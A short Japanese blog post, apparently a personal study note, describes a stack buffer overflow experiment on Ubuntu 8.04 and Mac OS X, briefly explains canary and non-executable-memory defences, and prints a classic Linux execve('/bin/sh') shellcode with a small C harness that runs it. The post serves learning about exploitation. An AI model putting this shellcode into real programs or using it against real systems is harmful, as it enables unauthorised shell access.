なんかいろいろこんぴゅーたかんけいのなぐりがき

なんか勉強しているこんぴゅーた関係のことのメモやそれ以外のことを書こうかなあ...

logs

スポンサーサイト

上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。

スタックオーバーフローによるシェルコード実行実験

ubuntu8.04とMac os X に対してバッファオーバーフローを用いてシェルをコード実行する実験を行った。
 結果、MacではBAD SYSTEM CALL とか表示され、うまくいかなかった。一方、Ubuntuではシェルが起動した。
 スタックオーバーフロー対策として戻り値の保管ブロックの手前にカナリアと呼ばれる検査用ブロックを設置し、それが書き換えられているとアボートするものや、スタックやヒープ上のバイナリコードを実行しないようにするものがある。
 
 今回実験で用いたコードはそのうちアップする予定


追記:随分と時間が経ってしまい、この時実験に使ったコードがどれか分からなくなったが、おそらくこれなので一応あげておく

 char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

main()
{
void (*code)()=(void(*)())shellcode;
code();
}
スポンサーサイト

トラックバックURL

http://ilovevim.blog42.fc2.com/tb.php/11-593e0896

この記事へのトラックバック

この記事へのコメント

コメント投稿フォーム

Paging Navigation

Navigations, etc.

上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。